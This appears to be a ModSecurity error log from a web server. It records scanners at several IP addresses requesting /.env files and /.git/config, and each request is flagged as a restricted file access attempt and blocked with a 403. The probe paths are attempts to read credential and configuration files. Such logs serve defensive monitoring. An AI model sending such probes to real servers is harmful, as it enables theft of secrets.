[Sun Mar 09 19:17:28.605525 2025] [:error] [pid 1661335] [client 45.148.10.237:48600] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z83bOBEUyzvDVC1ZEqXbcAAAAAY&quot;]
[Sun Mar 09 19:17:28.712637 2025] [:error] [pid 1661338] [client 45.148.10.237:48664] [client 45.148.10.237] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z83bODEULeXBn1nuAGnm1gAAAAk&quot;]
[Sun Mar 09 19:17:28.713268 2025] [:error] [pid 1661338] [client 45.148.10.237:48664] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z83bODEULeXBn1nuAGnm1gAAAAk&quot;]
[Sun Mar 09 19:17:28.713689 2025] [:error] [pid 1661338] [client 45.148.10.237:48664] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z83bODEULeXBn1nuAGnm1gAAAAk&quot;]
[Sun Mar 09 19:17:28.811412 2025] [:error] [pid 1661011] [client 45.148.10.237:48700] [client 45.148.10.237] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z83bOKPGLf7u63PDybKjOgAAAAM&quot;]
[Sun Mar 09 19:17:28.812194 2025] [:error] [pid 1661011] [client 45.148.10.237:48700] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z83bOKPGLf7u63PDybKjOgAAAAM&quot;]
[Sun Mar 09 19:17:28.812818 2025] [:error] [pid 1661011] [client 45.148.10.237:48700] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z83bOKPGLf7u63PDybKjOgAAAAM&quot;]
[Sun Mar 09 19:17:28.988944 2025] [:error] [pid 1661339] [client 45.148.10.237:48726] [client 45.148.10.237] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z83bOAictaUf718xO-joRAAAAAo&quot;]
[Sun Mar 09 19:17:28.989180 2025] [:error] [pid 1661339] [client 45.148.10.237:48726] [client 45.148.10.237] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z83bOAictaUf718xO-joRAAAAAo&quot;]
[Sun Mar 09 19:17:28.989352 2025] [:error] [pid 1661339] [client 45.148.10.237:48726] [client 45.148.10.237] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z83bOAictaUf718xO-joRAAAAAo&quot;]
[Fri Mar 14 04:18:00.288787 2025] [:error] [pid 1768895] [client 65.109.173.89:40576] [client 65.109.173.89] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z9Of6HMzs1Kxf2B1xt7o6wAAAAU&quot;]
[Fri Mar 14 04:18:00.290506 2025] [:error] [pid 1768895] [client 65.109.173.89:40576] [client 65.109.173.89] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z9Of6HMzs1Kxf2B1xt7o6wAAAAU&quot;]
[Fri Mar 14 04:18:00.291007 2025] [:error] [pid 1768895] [client 65.109.173.89:40576] [client 65.109.173.89] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z9Of6HMzs1Kxf2B1xt7o6wAAAAU&quot;]
[Fri Mar 14 22:30:31.278943 2025] [:error] [pid 1783510] [client 65.109.173.89:43064] [client 65.109.173.89] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z9Sf97PWOKp5lg1HVIYE9QAAAAA&quot;]
[Fri Mar 14 22:30:31.279293 2025] [:error] [pid 1783510] [client 65.109.173.89:43064] [client 65.109.173.89] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z9Sf97PWOKp5lg1HVIYE9QAAAAA&quot;]
[Fri Mar 14 22:30:31.279633 2025] [:error] [pid 1783510] [client 65.109.173.89:43064] [client 65.109.173.89] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z9Sf97PWOKp5lg1HVIYE9QAAAAA&quot;]
[Mon Mar 17 15:21:29.201028 2025] [:error] [pid 1841877] [client 45.148.10.172:37198] [client 45.148.10.172] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z9gv6fYlk3w5aBheRYi8_gAAABI&quot;]
[Mon Mar 17 15:21:29.203258 2025] [:error] [pid 1841877] [client 45.148.10.172:37198] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z9gv6fYlk3w5aBheRYi8_gAAABI&quot;]
[Mon Mar 17 15:21:29.203701 2025] [:error] [pid 1841877] [client 45.148.10.172:37198] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z9gv6fYlk3w5aBheRYi8_gAAABI&quot;]
[Wed Mar 19 17:14:35.366425 2025] [:error] [pid 1876131] [client 45.148.10.98:51228] [client 45.148.10.98] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z9rta8An1vg49ITh9cFxSwAAAAM&quot;]
[Wed Mar 19 17:14:35.367944 2025] [:error] [pid 1876131] [client 45.148.10.98:51228] [client 45.148.10.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z9rta8An1vg49ITh9cFxSwAAAAM&quot;]
[Wed Mar 19 17:14:35.368264 2025] [:error] [pid 1876131] [client 45.148.10.98:51228] [client 45.148.10.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z9rta8An1vg49ITh9cFxSwAAAAM&quot;]
[Mon Mar 24 09:38:09.845595 2025] [:error] [pid 1985765] [client 103.102.230.8:47148] [client 103.102.230.8] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-EZ8XFGH9-It8Dpdmx4tgAAAAc&quot;]
[Mon Mar 24 09:38:09.847003 2025] [:error] [pid 1985765] [client 103.102.230.8:47148] [client 103.102.230.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-EZ8XFGH9-It8Dpdmx4tgAAAAc&quot;]
[Mon Mar 24 09:38:09.847186 2025] [:error] [pid 1985765] [client 103.102.230.8:47148] [client 103.102.230.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-EZ8XFGH9-It8Dpdmx4tgAAAAc&quot;]
[Tue Mar 25 06:37:58.465930 2025] [:error] [pid 2005897] [client 103.102.230.8:36640] [client 103.102.230.8] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-JBNrOOLCKK9zwYnfZf4AAAAAY&quot;]
[Tue Mar 25 06:37:58.466364 2025] [:error] [pid 2005897] [client 103.102.230.8:36640] [client 103.102.230.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-JBNrOOLCKK9zwYnfZf4AAAAAY&quot;]
[Tue Mar 25 06:37:58.466631 2025] [:error] [pid 2005897] [client 103.102.230.8:36640] [client 103.102.230.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-JBNrOOLCKK9zwYnfZf4AAAAAY&quot;]
[Wed Mar 26 00:27:50.289571 2025] [:error] [pid 2025029] [client 45.148.10.80:56392] [client 45.148.10.80] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-M79gpHULSMvbFaZGrpgQAAAAo&quot;]
[Wed Mar 26 00:27:50.289930 2025] [:error] [pid 2025029] [client 45.148.10.80:56392] [client 45.148.10.80] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-M79gpHULSMvbFaZGrpgQAAAAo&quot;]
[Wed Mar 26 00:27:50.290087 2025] [:error] [pid 2025029] [client 45.148.10.80:56392] [client 45.148.10.80] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-M79gpHULSMvbFaZGrpgQAAAAo&quot;]
[Sat Mar 29 17:39:10.066442 2025] [:error] [pid 2106540] [client 34.221.111.118:60854] [client 34.221.111.118] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-giLkEEMuoW1Z_Ry8_ZYgAAAAQ&quot;]
[Sat Mar 29 17:39:10.067987 2025] [:error] [pid 2106540] [client 34.221.111.118:60854] [client 34.221.111.118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z-giLkEEMuoW1Z_Ry8_ZYgAAAAQ&quot;]
